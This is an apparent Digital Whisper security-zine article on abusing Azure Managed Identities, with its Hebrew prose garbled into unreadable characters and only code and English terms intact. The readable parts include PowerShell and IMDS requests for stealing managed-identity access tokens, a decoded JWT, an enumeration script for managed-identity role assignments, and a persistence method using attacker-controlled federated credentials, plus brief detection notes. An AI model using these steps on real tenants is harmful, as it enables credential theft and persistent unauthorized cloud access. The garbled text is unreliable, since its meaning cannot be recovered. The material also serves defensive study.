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ˣ˧˷˩˰ ˧˶˥˞ ˣˮˠ˲ˮ˧˵˷ ˣˮ˪ MI ˵˥˷˪ ˣ˸˧˞ Σˣ˞ˣ˟ ˢ˞˶ˮ ˢˬ ˸ˬ˞˟ ˨˪ˣˢ ˫˷ Σ˫˸˯ ˧˩ ˢˤ ˱˧˩Φ ˤ˞ ˥˧ˮˮ ˷˧˷ ˣˮ˪ 

ˢˮˣ˩ˬ ˸˧˪˞ˣ˦˶˧ˣ ˣˮˠ˲ˮ˵ˣ ˢ˧˪˰ MI Σ˸˰˩ ˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˰˴˟˪ ˢ˧˴˵˧˦ˮ˸ˣ˞ ˫˰ sπMI ˨ˣ˸ˬ ˢˮˣ˩ˬˢΦ ˨˧˞ Κ

˦ˣ˷˲ ˥˸˲ˮ Powershell ˪˰ ˢˮˣ˩ˬˢ ˳˧˶ˮˣ ˸˞ ˢˡˣ˵˲ˢ ˢ˞˟ˢΥ 

Connect - AzAccount - Identity  

˸˰˩ ˧˸ˮ˧˧ˮ˰˸ˢ ˨˧˞ ˢ˞˶ˮ s-Token ˶ˤˣ˥˷ ˢ˧˴˵˧˦ˮ˸ˣ˞ˬ ˣˤ˩˷ Σ˰ˣˡ˧˩ Σ˷˧ ˧˪ ˢ˟˧˥ ˢˤ˰ ˪-Tokenπ˫˧Φ ˤ˞ 

˧˸˧ˢ˸ ˧ˬ˴˰˪ Σ˫˞ˢ ˢ˧ˢ˧ ˣˮ˪ refresh token Κˢˬ˩˪ ˭ˬˤ ˢ˧ˢ˧ ˱˵˸ Κˢˬ ˸ˣ˞˷˶ˢˢ ˣ˧ˢ˧˷ ˸ˣ˟ˣ˸˩ x˟ Σˢˬ sπ

scope Κˣ˩ˣ Φ 

ˤ˞ ˢˮˢ s-Token ˣˮ˪˷Η 

{ "typ" : "JWT",  
 "alg" : "RS256",  
 "x5t" : "MGLqj98VNLoXaFfpJCBpgB4JaKs",  
 "kid" : "MGLqj98VNLoXaFfpJCBpgB4JaKs"  
}.  
{ "aud" : "https://management.azure.com/" ,  
 "iss" : "https://sts.windows.net/eba5ea9a - b43a- 4fab - af1d - f245e133078d/" ,  
 "iat" : 1720866122,  
 "nbf" : 1720866122,  
 "exp" : 1720952822,  
 "aio" : "E2dgYFgatTRLqeZzTkV17vLTBR8eAAA=",  
 "appid" : "f5c8f961 - 4667- 4a12- afdc - e58090afffd9" ,  
 "appidacr" : "2" ,  
 "idp" : "https://sts.windows.net/eba5ea9a - b43a- 4fab - af1d - f245e133078d/" ,  
 "idtyp" : "app" ,  
 "oid" : "8c7d7ffb - cd90- 4d9e- beca- b73e60ca3f01" ,  
 "rh" : "0.ARMBmuql6zq0q0- vHfJF4TMHjUZIf3kAutdPukPawfj2MBMTAQA.",  
 "sub" : "8c7d7ffb - cd90- 4d9e- beca- b73e60ca3f01" ,  
 "tid" : "eba5ea9a - b43a- 4fab - af1d - f245e133078d" ,  
 "uti" : "xqdVPppWUEa7Iq_f5eqnAA",  
 "ver" : "1.0" ,  
 "xms_idrel" : "22 7" ,  
 "xms_mirid" : 
"/subscriptions/GUID/resourcegroups/sapir_resource_group/providers/Microsoft.Compute/vi
rtualMachines/sapir - vm",  
 "xms_tcdt" : "1720437592"  
}.[ Signature ]  

 



 
 

Managed Identities Azure 
www.DigitalWhisper.co.il 

˭ˣ˧˪ˠ 167, ˶˟ˬ˟ˣˮ нлнп  мт 
 

˸ˣ˟˷˥ˬΚ ˢ˞˶ˮ ˣˮ˥ˮ˞˷ ˫˧˪˩˸˯ˬ ˪˰ Access TokenΦ ˶˥˞˪ ˧˸˶ˬˢ˷ ˸˞ sπexpiration time ˭ˬˤ˪ ˞˧˶˵ Σ

˶˶˟˸ˢ ˢ˷πToken ˢˤˢ ˱˵˸ ˫ˣ˧˪ Σˢˤ ˦˰ˬ ˢˮˣ˷ ˬπAT ˪˷ ˫˧˷ˬ˸˷ˬ Σ˭˩˷ ˞ˣˢ ˱˵˸ ˨˶˰˟˪ ˢ˰˷Φ 

˱˯ˣˮ˟ Σ˭˧˞ ˣˮ˪ refresh token ΣπsMI ˣˮ˪˷ ˰ˡˣ˧ ˷ˡ˥˪ ˸˞ sπToken ˣ˪˷ ˫˰˲ ˫ˣ˧˟ ˡ˟˪Φ ˢˡ˷ˢ xms_mirid Σ

ˠ˧˴ˬ ˣˮ˪ ˸˞ ˟˞˷ˬˢ ˶ˣ˷˵˷ ˪πMI ˢˤˢ Σˣˮˬˬ ˧˸˷˵˧˟ ˸˞ sπToken Φ ˡˬ˥ˮ ˡˣ˞ˬ J ,ˣˮˡˬ˪ ˡˣ˰ ˣˢ˷ˬΦ 

˟ˠ˞ Σ˷˧ ˪ˡ˟ˢ ˭˦˵ ˢˡˣ˵˲˟ ˶˷˞˩ ˫˧˴ˣ˶ ˸ˬ˞˸ˢ˪ ˫˰ UAMI Σ˨˧˶˴ ˦˶˲˪ ˸˞ sπId ˪˷ sπMI Φ˱˶˴˞ ˶ˣ˷˧˵ 

˱ˣ˯˟ ˶ˬ˞ˬˢ ˟˞ˢ˦˧ˠ˪ ˫˰ ˪˩ ˢˬ ˧˶˴˷!˨ 

ˢˮ˧ˢˣ ˯ˣˮˣ˟Υ ˸ˣˡˣ˵˲ˢ ˣ˪˞ˢ ˣ˯˧˲ˡ˧ ˫˩˪ ˪˩ˢ ˢ˲˧ ˫˰ ˢ˟˶ˢ ˢ˧˴ˬ˶ˣ˲ˮ˧˞: 

$currentAzureContext = Get - AzContext  
$azureRmProfile = 
[ Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider ] ::I
nstance.Profile ;  
$profileClient = New- Object 
Microsoft.Azure.Commands.ResourceManager.Common.RMProfileClient($azureRmProfile) ;  
$profileClient.AcquireAccessToken ($currentAzureContext.Subscription.TenantId) .AccessTok
en;  
Write - Host "$( $profileClient )"  

˨˶ˡ ˸˲˯ˣˮ ˠ˧˷ˢ˪ Token ˫˰ MI Σ˞˧ˢ ˳˧˶ˢ˪ ˸˞ ˢˡˣ˵˲ˢ ˢ˞˟ˢύ Υ˧˶ˣ˥˞ˬ˷ ˫˧˰˪˵ˢ ˞˧ˢ ˢˬ ˷connect-

az ˢ˷ˣ˰όΥ 

$response = Invoke - WebRequest - Uri 
'http://169.254.169.254/metadata/identity/oauth2/token?api - version=2018 - 02-
01&resource=https://management.azure.com/' - Method GET - Headers @{Metadata="true" }  

˟ˣ˷˥ ˭˧˧˴˪ Σ˪˩˟ ˟˞˷ˬ ˨˶ˡˢ ˰ˣ˴˧˟˪ ˢ˧˴˵˧˦ˮ˸ˣ˞ ˞˧ˢ ˦˰ˬ ˢˮˣ˷ Φ˭˞˩ ˣˮ˞ ˫˧˞ˣ˶ ˸ˣˢˡˤˢ ˨˶ˡ ˢˮˣ˩ˬ 

˸˧˪˞ˣ˦˶˧ˣ Σ˧˲˩ ˭˸˧ˮ˷ ˸ˣ˞˶˪ Σ˸˰˴˟˸ˬ ˢ˷˵˟ ˸˧˯˞˪˵ ˪˟˵˪ Oauth token Σ˵˶ ˫ˣ˵ˬ˟˷ ˸ˣˮ˲˪ ˪πTenant Σ

ˣˮ˥ˮ˞ ˫˧ˮˣ˲ ˸˟ˣ˸˩˪ ˸˧˦˦˯ˢ ˢ˞˟ˢ ΥмсфΦнрпΦмсфΦнрп. 

ˣˤ ˞˧ˢ ˸˟ˣ˸˩ˢ ˪˷ ˸˶˷ sπIMDS Φˢˤ ˪ˣˡˠ˟ ˸˶˷ˢ ˧˞˶˥˞˷ ˪˰ ˪ˣˢ˧ˮ ˸ˣˮˣ˩ˬˢ ˸ˣ˧˪˞ˣ˦˶˧ˣˢ ˟πAzure Σ

ˣˮ˥ˮ˞ˣ ˫˧˞ˣ˶ ˣ˸ˣ˞ Σ˧˩ ˧˸˴˶ˢ ˸˞ ˢˡˣ˵˲ˢ ˣˤˢ ˪˰ ˢˮˣ˩ˬ ˸˧˪˞ˣ˦˶˧ˣΦ  

˧ˮ˞ ˸˟˷ˣ˥ ˣˮ˶˟˰˷ ˸˶˟˩ ˨˶ˡ ˡ˰ ˢ˩ Σˤ˞ ˣ˞ˣ˟ ˫˩˯ˮ ˟ˣ˷Υ 

мΦ ˶˷˲˞ ˸ˬ˞˸ˢ˪ ˸ˣ˪˵˟ ˫˰ MI ˪˰ ˟˞˷ˬˢ ˶ˣ˷˵˷ ˣ˧˪˞ 

нΦ ˭˧˞ ˫ˣ˷ ˸ˣ˵˯˰˸ˢ ˪ˣˬ ˞ˬ˯˧˯ˢ ˪˷ MI 

оΦ sπToken ˪˷ MI ˱˵˸ ˫ˣ˧˪ ˫˪˷ Σ˭˧˞ˣ x˪ Refresh token 
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˸˷˵˟˸ˬˢ ˸˧˟˧˯ˮ˲ˣ˞ˢ ˢ˟˷˥ˬˢ 

˫˞ ˧˸ˠ˷ˢ ˢ˷˧ˠ ˟˞˷ˬ˪ ˢ˶ˣ˴˟ ˣˤ˩ x˞ ˸˶˥˞ Σ˧ˮ˞ ˞˪ ˨˧˶˴ ˸˰ˡ˪ ˫ˣ˪˩ ˶˟˰ˬ ˸ˡˣ˵˲˪ PS ˸˥˞ Σ˪˰ ˸ˮˬ 

˰˴˟˪ ˢ˧˴˵˧˦ˮ˸ˣ˞ ˟πtenant ˟˞˷ˬˢ˷ ˢˤˢ ˞˴ˬˮ x˟ Σˠ˧˷ˢ˪ˣ ˰ˡ˧ˬΗ 

˭˟ˣˬ˩ ˷˧˷ ˢ˲ ˢˬ˩ ˸ˣˡˣ˵ˮ ˟ˣ˷˥˷ ˭˧˧˴˪Υ 

¶ ˧ˮ˞ ˨˧˶˴ ˢ˷˧ˠ ˸˧ˮˣ˷˞˶ ˟˞˷ˬ˪ 

¶ ˧ˮ˞ ˨˧˶˴ ˪˰˷ ˟˞˷ˬˢ ˢ˧ˢ˧ ˠ˲ˮˣ˵ˬ MI 

¶ ˧ˮ˞ ˨˧˶˴ ˪˷ MI ˣ˧ˢ˧ ˸˞ ˸ˣ˞˷˶ˢˢ ˸ˣˬ˧˞˸ˬˢ ˠ˧˷ˢ˪ ˸˞ ˰ˡ˧ˬˢ ˧ˮ˞˷ ˢ˴ˣ˶ ˠ˧˷ˢ˪ 

˪˩˟ˣ ˸˞ˤ Σ˫˞ˢ ˢˤ ˞˪ ˷˧˥˶˸ ˶˧˟˯ Κ˧ˮ˞ ˢ˥ˣ˦˟ ˫˧ˬ˧˧˵˷ ˢ˟˶ˢ ˫˧ˮˣˠ˶˞ ˷˧˷ ˫ˢ˪ MI ˫˰ ˢ˟˶ˢ ˶˸ˣ˧ 

˸ˣ˞˷˶ˢ ˣˢ˷ˬ ˨˧˶˴ Σ˭˟ˣˬ˩ˣ Σ˸ˣ˧ˣ˷˧ˢ˷ ˣ˪˞ˢ ˞˪ ˸ˣ˶˦ˣˮˬ ˦˰ˬ˩ Σ˥˦˟ ˞˪˷ ˣˬ˩ ˫˧˷ˬ˸˷ˬ ˫˧˵ˤ˥ Σ˫˞ ˧˩ 

˭˧˞ ˫ˣ˷ ˪ˡ˟ˢ ˫ˢ˧ˮ˧˟Η 

˫˴˰˟ Σ˷˧ ˪ˡ˟ˢ ˪ˣˡˠ Σ˧ˡ˩ ˸ˬ˞˸ˢ˪ ˫˰ MI ˢ˸˞ ˞˪ ˨˧˶˴ ˞ˬ˯˧˯ Σˣ˞ MFA Σˢ˸˞ ˵˶ ˨˧˶˴ ˢ˷˧ˠ ˟˞˷ˬ˪Η 

ˤ˞ ˯ˣˮˣ˟: ˦˲˧˶˵˯ ˸ˣ˥˧˦˟ Σˣ˵ˡ˟ ˸˞ sπMI ˢ˟˧˟˯˟ ˫˩˪˷ Σˣ˪˧˞˪ ˫˧˟˞˷ˬ ˫ˢ ˫˧˶˷ˣ˵ˬ Σˢˬˣ ˸ˣ˞˷˶ˢˢ 

˫ˢ˪˷ Σ˧˪ˣ˞ ˷˧ ˣ˪˞˩ ˶˷˲˞˷ ˵ˣ˥ˬ˪ Κˡˡ˶˪ ˸ˣ˞˷˶ˢ Κˣ˞ ˦ˣ˷˲ ˶˦ˮ˪ ˟ˣ˦ ˶˸ˣ˧ ύ˶˟ˡˮˣ ˪˰ ˸ˣˮˣ˶˸˲ ˶ˣ˦˧ˮ 

˨˷ˬˢ˟ό: 

az login  
$sps = az ad sp list -- filter "servicePrincipalType eq 'ManagedIdentity'" | 
ConvertFrom - Json foreach($sp in $sps)  
{  
Write - Host "Managed Identity:` r `n Id: $( $sp.id )` r `n Name: $( $sp.displayName )"  
$rbac = az role assignment list -- assignee $sp.id | ConvertFrom - Json foreach($r in 
$rbac)  
{  
 Write - Host "RBAC:`r `n $( $r.roleDefinitionId )` r `n $( $r.roleDefinitionName )` r `n 
$( $r.scope )"  
}  
Write - Host "`r`n==========================================================`r `n"  
}  

 

˞ˬˠˣˡ ˦˪˲˪Υ 
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˫˧˶˵˥ˬΗ 

ˤ˞ ˟ˣ˷˥ ˭˧˧˴˪ Σˤˣ˥˞ ˷ˬˬ ˪ˣˡˠ ˫˧˶˵˥ˬˢˬ ˣ˪˞ˢ Σ˷ˡ˥ ˸ˣˬ˶˟ύ Η˷ˬˬ ˣˠ˴ˣˢ ˟πBlackHat ˦˯ˣˠˣ˞˟ 

˭ˣ˶˥˞ˢ Φόˢˤ ˡˣ˞ˬ ˷ˠ˶ˬ Σ˧ˮ˞ˣ ˸˟˷ˣ˥ ˢˤ˷ ˵˶ ˪˧˥˸ˬ Σˢ˞˶ˮˣ ˡˣ˰ ˡˣ˰ˣ ˸ˣ˲˧˵˸ ˫˧˶˵˥ˬˣ ˪˰ ˞˷ˣˮˢΦ  

˪˧˥˸ˮ ˶˵˥ˬˬ ˫˯˶ˣ˲˷ ˪˰ ˧ˡ˧ Dirk-jan ύ˧˪ˣ˧˟ ˭ˣ˶˥˞ˢΥόΗ 

https://dirkjanm.io/persisting-with-federated-credentials-entra-apps-managed-identities/ 

˶˵˥ˬ˟ ˢˤˢ ˣ˧ˢ н ˸ˣ˶˦ˬΥ 

мΦ ˥˧˪˴ˢ˪ ˶˰ˮ˸ˢ˪ ˢˡ˟ˣ˰ˢˬ ˭˸˧ˮ˷ ˸ˣˢˡˤˢ˪ ˫˰ MI ˵˶ ˨˶ˡ ˟˞˷ˬ ˞ˣˢ˷ ˫˷ˣˬ ˣ˧˪˰ 

нΦ ˭˧˟ˢ˪ ˢˬ ˞ˬ˯˧˯ˢκˢˡˣ˰˸ ˪˷ sπMI 

˪ˣˡˠ˟ ˶˷˲˞ ˥˧ˮˢ˪ ˱˧˰˯˷ м ˪˧˩ˬ ˸˞ ˱˧˰˯ н ˣ˩ˣ˸˟ Σ˭˩˷ ˫˞ ˸˰ˠˢ ˟˴ˬ˪ ˢ˸˞˷ ˢˢˡˤˬ ˫˰ MI ˞˪ ˨ˣ˸ˬ 

˟˞˷ˬˢ ˞ˣˢ˷ ˶˷ˣ˵ˬ ˣ˧˪˞ Σˢ˞˶ˮ˩ ˸ˠ˷ˢ ˸˞ ˧˦˶˲ˢ ˸ˣˢˡˤˢ ˣ˪˷Φ 

˧ˡ˩ ˭˧˟ˢ˪ ˸˞ ˶˵˥ˬˢ ˢˤˢ ˨˧˶˴ ˢ˲˧˦ ˰ˡ˧ ˢˬ˟ ˞˶˵ˮ˷ Federated Credentials Σ˧ˬ ˰˧ˠˬ˷ ˫˪ˣ˰ˢˬ ˪˷ 

AWS SSO ˢ˞˶ˮ˩ ˶˧˩ˬ ˶˟˩ ˸˞ ˦˲˯ˮˣ˵ˢ Φ 

 

Federated Credentials 

˪ˣˡˠ˟ ˭ˣ˧˰˶ˢ ˞ˣˢ ˨ˣˬ˯˪ ˪˰ Identity Provider ˶˥˞ ˸ˬ˞˧˷ ˸˞ ˫˧˷ˬ˸˷ˬˢ ˨˪˷Φ ˨˶ˣ˴˪ ˭˧˧ˮ˰ˢ Σ˫˞ ˷˧ ˧˪ 

˷ˬ˸˷ˬ ˟πOkta ˧ˮ˞ˣ ˢ˴ˣ˶ ˸ˣˢˡˤˢ˪ ˣ˸˧˞ ˪πEntra Σ˧ˮ˞ ˪ˣ˩˧ ˠ˲ˮ˵˪ Federated Credentials ˨˩ ˣ˲ˣ˯˟˷ ˪˷ 

˶˟ˡ ˷ˬ˸˷ˬˢ ˧˪˷ ˢˢˡˤ˧ ˪˧ˠ˶ ˪ˣˬ Okta ΣπxOkta ˪ˣˡˠ˟ ˥˪˷˧ ˪πEntra ˣˢ˷ˬ ˣˬ˩ ˧˸˸ˬ˧˞ ˣ˸ˣ˞ ˞ˣˢ 

ˢ˟˟˯ Φˢ˲ˬ ˪ˣˢ˧ˮ ˸ˣ˞˷˶ˢˢ ˪˷ ˷ˬ˸˷ˬˢ ˢ˷˰ˮ ˶˟˩ ˟πEntra ˪˩ˢˣ ˟ˣ˦ ˢ˲˧ˣ Σ˪˟˞ ˸ˣˢˡˤˢˢ ˸˧ˮˣ˷˞˶ˢ 

˸˰˴˟˸ˬ ˨˶ˡ sπIdentity Provider ˧˸˦˪˥ˢ˷ ˧ˮ˞˷ ˨ˬˣ˯ ˣ˧˪˰Φ 

˰˦˵˟ ˶˸ˣ˧ ˧ˮ˩˦: sπIdp ˣˮ˥ˮ˞˷ ˫˧˩ˬˣ˯ ˣ˧˪˰ ˶˴˧˧ ˥˸˲ˬ ˧˦˶˲ ˧˶ˣ˟˧˴ˣ Σ˨˩ ˸˞˷ ˧˦˶˲ˢ ˶ˣˬ˷˧ ˣ˪˴˞ ˸˞ 

˧˶ˣ˟˧˴ˢ ˥˪˷˧ ˪πEntra Φ˪˩˟ ˫˰˲ ˞ˣˢ˷ ˸ˬ˞˧ ˷ˬ˸˷ˬ Σ˞ˣˢ ˫ˣ˸˥˧ ˪˰ s˧˸˸ˬ˧˞ ˣ˸ˣ˞ ˞ˣˢ ˢ˟˟˯ ˫˰ 

˥˸˲ˬˢ ˧˦˶˲ˢ ˣ˪˷Φ 

˨˩ Entra ˢ˪ˣ˩˧ ˥ˮ˰˲˪ ˸˞ ˢ˰ˡˣˢˢ ύ˫ˣ˷ˬ ˷˧˷ ˢ˪ ˸˞ ˥˸˲ˬˢ ˧˶ˣ˟˧˴ˢ Σό˞˧ˢˣ ˢ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˢ˥ˣ˦˟ 

ˢ˰ˡˣˢˢ˷ ˢ˰˧ˠˢ ˢˬπIdp ˢˤˢ Σ˭˩˷ ˵˶ x˪ ˷˧ ˸˞ ˥˸˲ˬˢ ˧˦˶˲ˢ ˣ˪˷ Φˢˤ ˞ˣˢ ˦˲˯ˮˣ˵ ˣˮ˥ˮ˞˷ ˶˟˩ ˧l 

˫˧˶˧˩ˬ Σ˶˧˩ˤˬ ˸˞ sπCBA Authentication ˶ˬ˞ˬˢˬ ˫ˡˣ˵ˢ ˧˪˷ ˪˰ Passwordless AuthenticationΦ 

ˢˬ ˭ˣ˧˰˶ˢ ˠ˴ˣˢ˷ ˶˵˥ˬ˟Κ ˶ˣ˴˧˪ ˧ˮ˧ˬ Idp ˣˮ˪˷ˬ Σ˶˧ˡˠˢ˪ˣ Federated Credentials ˪˰User Assigned 

Managed IdentitiesΦ ˢˬ˪ ˶˟ˡ ˢˤ˩ ˪˪˩˟ ˧˶˷˲˞ Κ˞˪ ˶ˣ˶˟Φ 

https://dirkjanm.io/persisting-with-federated-credentials-entra-apps-managed-identities/
https://digitalwhisper.co.il/files/Zines/0xA4/DW164-2-TAP-PasswordlessAuth.pdf
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˵˪˥ˢ ˫˴˰˟˷ ˭˧˧ˮ˰ˬ ˢ˲˵˸ˬ˟ ˣˤˢ ˞˧ˢ ˧ˮˣ˧ˠˢ˷ ˪˩ˣˮ˷ ˠ˲ˮ˵˪ Federated Authentication ˪˰ ˫˧˷ˬ˸˷ˬ 

˸ˣ˧ˣ˷˧ˣ ˸ˣ˶˥˞ Σ˪˟˞ ˞˵ˣˣˡ ˟πMI ˢˤ ˡˣ˞ˬ ˶ˤˣˬ Σ˭˩˷ ˵˪˥ ˡ˟˩ˮ ˦˲˯ˮˣ˵ˢˬ ˪˷ ˸ˣ˷˧ ˠˣ˯ˬ ˢˤ ˞ˣˢ ˢˡ˟ˣ˰ˢ 

˭˧˞˷ ˣˮ˪ ˫ˣ˷ ˢ˦˧˪˷ ˪˰ ˞ˬ˯˧˯ˢ ˢ˪˷Η 

˨˶ˣ˴˪ ˭˧˧ˮ˰ˢ Σ˶˷˞˩ ˧ˮ˞ ˢ˯ˮˬ ˱˧˯ˣˢ˪ ˢˡˣ˰˸ x˞ ˞ˬ˯˧˯ ˪πService Principal ˠ˴˧˧ˬ˷ ˸˞ sπMI ˧ˮ˞ ˸˪˟˵ˬ 

ˢ˞˧ˠ˷ ˸˶ˬˣ˞˷ ˶˟ˡˢ˷ ˞˪ ˧˶˷˲˞Υ 

 

ˤ˞ sˢ˴˶˲ ˸ˮ˧˧ˮ˰ˬˢ ˢ˲ Σ˞˧ˢ ˸˪ˣ˩˧ˢ ˸˰ˠ˪ ˞ˬ˯˧˯˟ ˪˷ ˸ˣ˷˧ˢ MI ˸ˣ˰˴ˬ˞˟ ˢ˲˯ˣˢ ˪˷Federated 

Credentials Φ 

ˢˬ ˫˧˩˶˴ˬˢ ˭ˣ˩˸ˬ˪ ˢˤˢΚ 

˫ˡˣ˵ ˪˩ ˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˣˬ˧˧˵˸˧˷ ˶˲˯ˬ ˫˧˶˟ˡ ˪˰ ˸ˮˬ ˧ˮ˧ˬˢ˷ idp ˣˮ˪˷ ˡˣ˟˰˧ Φ˸ˬ˞ˢ ˞˧ˢ Σˣ˪˩ˣ˸˷ ˞ˣ˶˵˪ 

˪˰ ˢˤ ˸˴˵ ˶˸ˣ˧ ˶ˬ˞ˬ˟ ˭ˣ˷˞˶ˢ ˧˪˷ ˪˰ Tokenπ˫˧ Φ˭˩˷ ˫˧˦˧˶˲ ˣ˪˞ ˫˧˧˥˶˩ˢ ˨˶ˣ˴˪ ˨˧˪ˢ˸ ˢ˧˴˵˧˦ˮ˸ˣ˞ˢ 

π˟OIDC ˦˶ˡˮ˦˯Υ 

¶ ˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˳˟ˣ˵ ˠˣ˯ˬ Φwell-known/openid-configuration 

¶ ˳˟ˣ˵ˣ ˸ˣ˥˸˲ˬ ˟˸ˣˮ˧˷ ˨˶ˡ ˨˶˰ˢ jwks_uri  

˨ˬ˯ˬ ˸ˣ˥˸˲ˬˢ ˪˧˩˧ ˸˞ ˥˸˲ˬˢ ˧˶ˣ˟˧˴ˢΦ 

˸˰˩ Σˣˮ˥ˮ˞ ˫˧˩˧˶˴ ˠ˲ˮ˵˪ Federated Credentials ˶ˣ˟˰ s-MI ˣˮ˪˷ Σ˫˷˪ ˨˩ ˣˮ˞ ˫˧˩˧˶˴ role ˫˰ 

ˢ˞˷˶ˢˢ ˢ˞˟ˢΥ 

Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/w
rite  

ˣˬ˧˷ ˟˪ ˞˪˷ ˶˟ˣˡˬ ˭˞˩ ˟πEntra Permissions Σ˞˪˞ ˟πRBAC Φˢˤ˷ ˡ˧ˬ˸ ˶ˤˣˬ ˧˪ ˧˩ ˱ˣ˯˟ MI ˞ˣˢ ˸ˣ˷˧ 

˸˪ˢˣˮˬ˷ ˧˴˥ ˟-Entra ˧˴˥ˣ ˟πAzure management Φ˪˩˟ ˢ˶˵ˬ sπRBAC ˫˧˞˟ˢ ˣ˵˲˯˧ ˸˞ ˢ˞˷˶ˢˢ 

ˢ˴ˣ˥ˮˢΥ 

¶ Contributor / Owner 

¶ Managed Identity Contributor 

¶ Azure Red Hat OpenShift Federated Credential Role 

https://www.digitalwhisper.co.il/files/Zines/0x9A/DW154-2-AzureAccessTokens.pdf
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˶˥˞˪ ˠˣ˲ˮ˵ˢ ˪˩ˣˮ ˸ˬ˞˸ˢ˪ ˫˰ sπMI ˪˩ˬ ˫ˣ˵ˬ ˢ˴˶ˮ˷Η ˟ˣ˷˥ ˭˧˧˴˪ ˢ˲˵˸ˬˢ˷ ˞˪ ˡˣ˟˰˸ ˪˰ System-

Assigned Managed Identity ˞˪˞ ˵˶ ˪˰ User-assignedΣ ˭˩˷ System-assigned ˡ˧ˬ˸ ˶ˣ˷˵ ύbound ό˵˶ 

˟˞˷ˬ˪ ˡ˥˞ ˪ˣ˩˧ˣ ˸ˬ˞˸ˢ˪ ˵˶ ˣˮˬˬΦ 

 

˸ˡˣ˟˰ ˭ˠˬˢ 

ˤ˞ ˫˞ ˸ˣ˧ˢ˪ ˢˮ˩ Σ˦˲˯ˮˣ˵ˢ ˪˷ ˸ˣ˲˧˵˸ ˪˰ MI ˞ˣˢ ˧l ˷ˡ˥ ˡ˰ˣ ˢˬ˩ ˧ˮ˞˷ ˸˰ˡˣ˧ ˞˪ ˸ˬ˞˟ ˢ˞˶ˮ ˥˦˷˟ 

˶˸ˣ˧ ˧ˡ˧ˬ ˡ˰ ˢ˩Φ ˧ˮ˞ ˢ˥˧ˮˬ ˢˤ˷ ˰˟ˣˮ ˶˲˯ˬˬ ˸ˣ˟˧˯Υ 

мΦ ˫ˠ ˫˧˲˵ˣ˸ ˸ˣ˥˲ ˣ˶˧˩ˢ ˸˞ ˦˲˯ˮˣ˵ˢ ύ˞˵ˣˣˡˣ ˣ˧˷˩˰ ˢˤ ˫˯˶˲˸ˢ ˶˸ˣ˧ ˫˰ о ˫˧˶ˬ˞ˬ ˢ˞˴˶ˢˣ ˟π

DefCon ˭ˣ˶˥˞ˢ ˸˞ˬ Karl Fosaaenπ ˶ˣ˷˧˵ ˱ˣ˯˟ ˶ˬ˞ˬˢΦό 

нΦ ˢ˟˶ˢ ˸ˣ˲˧˵˸ˢˬ ˫˷ ˳ˣ˥˟ ˭s ˱˧˯ˣˢ˪ secret ˢ˧˴˵˧˪˲˞˪ ύ˧˶˥˞ ˠˮ˧˷˧˲ ˷ˬ˸˷ˬ˪ ˫˰ ˸ˣ˞˷˶ˢ 

˸ˣˬ˧˞˸ˬ όˣˮ˧ˮ˧˟ˣ ˢˤ ˢ˟˶ˢ ˶˸ˣ˧ ˪˵  

оΦ ˢˤ ˞˪˷ ˣˢ˧ˤ ˢ˲˵˸ˬ ˣˤ˩ ˡ˰ ˣ˧˷˩˰ Σ˞˪ ˶ˬˣ˞ ˞˧ˢ˷ ˞˪ ˸ˬ˧˧˵ 

ˤ˞ ˸ˣ˶ˬ˪ ˸ˣ˟˧˯ˢ ˣ˪˪ˢ Σ˧ˮ˞ ˭˧˧ˡ˰ ˰˧˴˞ ˭˞˩ ˶˲˯ˬ ˸ˣˮˣ˧˰˶ ˧ˡ˩ ˫˧˷˪ ˭˧˰ ˪˰ Managed identitiesΦ 

˫˧˪˩: 

˷˧ ˧˪˩ ˷ˬˬ ˡˬ˥ˮ ˞˧˟ˬ˷ ˢ˟˶ˢ ˡˣ˞ˬ ˢ˧˴ˬ˶ˣ˲ˮ˧˞ ˸˶ˣ˴˟ ˥ˣˡ Φ˧˪˩ˢ ˞˧˟ˬ ˫ˠ ˪˩ ˧ˮ˧ˬ abuse˫˧ ˫˧˧˶˷˲˞ 

˰ˡ˧ˬˣ ύ˫ˠ ˪˰ ˸ˣ˧ˣ˷˧ ˫ˠˣ ˪˰ Federated Credentials ˞ˬˠˣˡ˪ό: 

 

https://github.com/JulianHayward/AzADServicePrincipalInsights
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˶˟˰ˬ ˢ˲˵˸ˬ˪ ˪˰ Federated Credentials Σˣˮ˶˟˧ˡ ˪˰ ˨˩ ˢ˷˧ˠ˷ ˟˞˷ˬ˪ ˷˧˷ ˣ˧˪˰ MI ˫˰ ˸ˣ˞˷˶ˢ 

˸ˣˢˣ˟ˠ ˢ˪ˣ˩˧ ˪˧˟ˣˢ˪ ˸ˬ˪˯ˢ˪ ˸ˣ˞˷˶ˢ ˸˧˸ˣ˰ˬ˷ˬ Σ˧ˣˢ˧ˤ ˪˷ ˶˟ˡ ˢˤ˩ ˞ˣˢ ˸˧˸ˣ˰ˬ˷ˬ ˶˸ˣ˧ ˢ˷˵ Σˣ˞ˣ˟ 

ˢ˞˶ˮ ˢˬ ˪˩ˣˮ ˸ˣ˷˰˪ ˧˟ˠ˪ ˢˤΦ 

-˟Azure ˷˧ о ˫˧ˠˣ˯ ˫˧ˠˣ˪ Σ˶ˣ˟˰ˮ ˪˰ ˫˪ˣ˩Υ 

мΦ Sign-In logs - ˞˪ ˸˰ˡˣ˧ ˢˬ˪ Σ˪˟˞ Azure ˷ˬˬ ˣ˲˧˯ˣˢ ˢ˧˶ˣˠ˦˵ ˸ˡ˶˲ˮ ˶ˣ˟˰ MI Sign-In  Σ˶˷˲˞ ˷ˬˬ 

˸ˣ˞˶˪ ˸˞ ˢˤ ˟πGUIΥ 

 

˪˩ˣˮ ˷ˬ˸˷ˢ˪ ˢˡ˷˟ Client credential type ˪˧˟˷˟ ˸ˣˢˤ˪ ˢ˧˴˵˧˦ˮ˸ˣ˞ ˫˰ Federated Credentials Φˣˬ˩ 

˭˩ Σ˪˩ˣˮ ˸ˣ˞˶˪ ˸˞ ˸ˣˡ˷ˢ Federated Σϝˢˡ˧ˬ˟ ˱˵ˣ˸ˣ ˠ˲ˮ˵ ˫˸ˣ˞ Σ˪˩ˣˮ ˨˧˷ˬˢ˪ ˢ˶˧˵˥˟ ˸ˣ˰˴ˬ˞˟ ˧ˣˢ˧ˤ 

-sToken issuerΥ 

 

